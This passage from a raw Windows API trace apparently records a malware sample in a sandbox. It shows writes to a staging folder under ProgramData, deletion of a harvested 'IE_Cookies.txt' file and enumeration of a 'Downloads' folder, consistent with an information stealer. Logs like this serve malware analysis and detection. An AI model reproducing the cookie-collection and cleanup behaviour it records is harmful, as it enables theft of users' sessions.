lpOverlapped=0x0) returned 1 [0102.032] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0102.032] GetDesktopWindow () returned 0x10010 [0102.032] GetTickCount () returned 0x15aaa66 [0102.032] GetLastError () returned 0x0 [0102.032] SetLastError (dwErrCode=0x0) [0102.032] GetLastError () returned 0x0 [0102.032] SetLastError (dwErrCode=0x0) [0102.032] GetLastError () returned 0x0 [0102.033] SetLastError (dwErrCode=0x0) [0102.033] GetLastError () returned 0x0 [0102.033] SetLastError (dwErrCode=0x0) [0102.033] GetLastError () returned 0x0 [0102.033] SetLastError (dwErrCode=0x0) [0102.033] GetLastError () returned 0x0 [0102.033] SetLastError (dwErrCode=0x0) [0102.033] GetLastError () returned 0x0 [0102.033] SetLastError (dwErrCode=0x0) [0102.033] GetLastError () returned 0x0 [0102.033] SetLastError (dwErrCode=0x0) [0102.033] GetLastError () returned 0x0 [0102.033] SetLastError (dwErrCode=0x0) [0102.033] GetLastError () returned 0x0 [0102.033] SetLastError (dwErrCode=0x0) [0102.033] GetLastError () returned 0x0 [0102.033] SetLastError (dwErrCode=0x0) [0102.033] GetLastError () returned 0x0 [0102.033] SetLastError (dwErrCode=0x0) [0102.034] GetLastError () returned 0x0 [0102.034] SetLastError (dwErrCode=0x0) [0102.034] ReadFile (in: hFile=0x4f0, lpBuffer=0x33ca998, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x33ca998*, lpNumberOfBytesRead=0x19dfa4*=0x0, lpOverlapped=0x0) returned 1 [0102.034] WriteFile (in: hFile=0x2f8, lpBuffer=0x33aba1c*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x19df70, lpOverlapped=0x0 | out: lpBuffer=0x33aba1c*, lpNumberOfBytesWritten=0x19df70*=0x2, lpOverlapped=0x0) returned 1 [0102.034] CloseHandle (hObject=0x4f0) returned 1 [0102.034] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=74, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a [0102.034] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.034] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.034] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.034] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.034] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.034] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.035] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.035] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.035] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.035] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.035] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.035] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.035] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.035] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.035] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.036] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.036] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.036] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.036] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.036] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.036] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.036] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.036] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.036] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.036] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.036] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.037] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.037] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.037] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.037] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.037] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x17, lpOverlapped=0x0) returned 1 [0102.037] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0102.037] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=146, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x92 [0102.037] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x9) returned 0x2113090 [0102.037] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x360) returned 0x21179f8 [0102.037] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430420 | out: hHeap=0x2110000) returned 1 [0102.037] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa820 | out: hHeap=0x2110000) returned 1 [0102.037] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300e0 | out: hHeap=0x2110000) returned 1 [0102.037] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.038] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\IE_Cookies.txt" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cookies\\ie_cookies.txt")) returned 1 [0102.038] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa560 | out: hHeap=0x2110000) returned 1 [0102.038] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32a21322, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x32a21322, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x32a21322, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE_Cookies.txt", cAlternateFileName="IE_COO~1.TXT")) returned 0 [0102.038] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0102.038] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0102.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0102.038] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x37) returned 0x33aa9a0 [0102.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies", cchWideChar=55, lpMultiByteStr=0x33aa9a0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies", lpUsedDefaultChar=0x0) returned 55 [0102.038] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21128e8 [0102.038] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa9a0 | out: hHeap=0x2110000) returned 1 [0102.038] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.039] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116948 [0102.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2116948, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116948 | out: hHeap=0x2110000) returned 1 [0102.039] PathMatchSpecW (pszFile="Cookies", pszSpec="*.*") returned 1 [0102.039] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0102.039] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430650 [0102.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0102.039] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x37) returned 0x33ab020 [0102.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies", cchWideChar=55, lpMultiByteStr=0x33ab020, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies", lpUsedDefaultChar=0x0) returned 55 [0102.039] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112930 [0102.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab020 | out: hHeap=0x2110000) returned 1 [0102.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0102.039] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x9) returned 0x2113078 [0102.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies", cchWideChar=9, lpMultiByteStr=0x2113078, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Cookies", lpUsedDefaultChar=0x0) returned 9 [0102.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113078 | out: hHeap=0x2110000) returned 1 [0102.039] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112930 | out: hHeap=0x2110000) returned 1 [0102.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430650 | out: hHeap=0x2110000) returned 1 [0102.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.039] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cookies")) returned 0 [0102.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21128e8 | out: hHeap=0x2110000) returned 1 [0102.039] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e21d0, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e21d0, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e21d0, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0102.040] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0102.040] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0102.040] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="Downloads" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads" [0102.040] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0102.040] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0102.040] lstrcatW (in: lpString1="\\", lpString2="Downloads" | out: lpString1="\\Downloads") returned="\\Downloads" [0102.040] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0102.040] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0102.040] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads" [0102.040] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\*.*" [0102.040] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e21d0, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e21d0, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e21d0, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0102.040] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads" [0102.040] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\" [0102.040] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\." [0102.040] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Downloads" | out: lpString1="\\Downloads") returned="\\Downloads" [0102.040] lstrcatW (in: lpString1="\\Downloads", lpString2="\\" | out: lpString1="\\Downloads\\") returned="\\Downloads\\" [0102.040] lstrcatW (in: lpString1="\\Downloads\\", lpString2="." | out: lpString1="\\Downloads\\.") returned="\\Downloads\\." [0102.040] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.040] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e21d0, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e21d0, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e21d0, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.040] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads" [0102.040] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\" [0102.040] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads\\.." [0102.041] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Downloads" | out: lpString1="\\Downloads") returned="\\Downloads" [0102.041] lstrcatW (in: lpString1="\\Downloads", lpString2="\\" | out: lpString1="\\Downloads\\") returned="\\Downloads\\" [0102.041] lstrcatW (in: lpString1="\\Downloads\\", lpString2=".." | out: lpString1="\\Downloads\\..") returned="\\Downloads\\.." [0102.041] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.041] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.041] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e21d0, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e21d0, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e21d0, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.041] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0102.041] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0102.041] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x39) returned 0x2112a98 [0102.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads", cchWideChar=57, lpMultiByteStr=0x2112a98, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads", lpUsedDefaultChar=0x0) returned 57 [0102.041] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21128e8 [0102.041] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a98 | out: hHeap=0x2110000) returned 1 [0102.041] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.041] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116918 [0102.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2116918, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.041] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116918 | out: hHeap=0x2110000) returned 1 [0102.041] PathMatchSpecW (pszFile="Downloads", pszSpec="*.*") returned 1 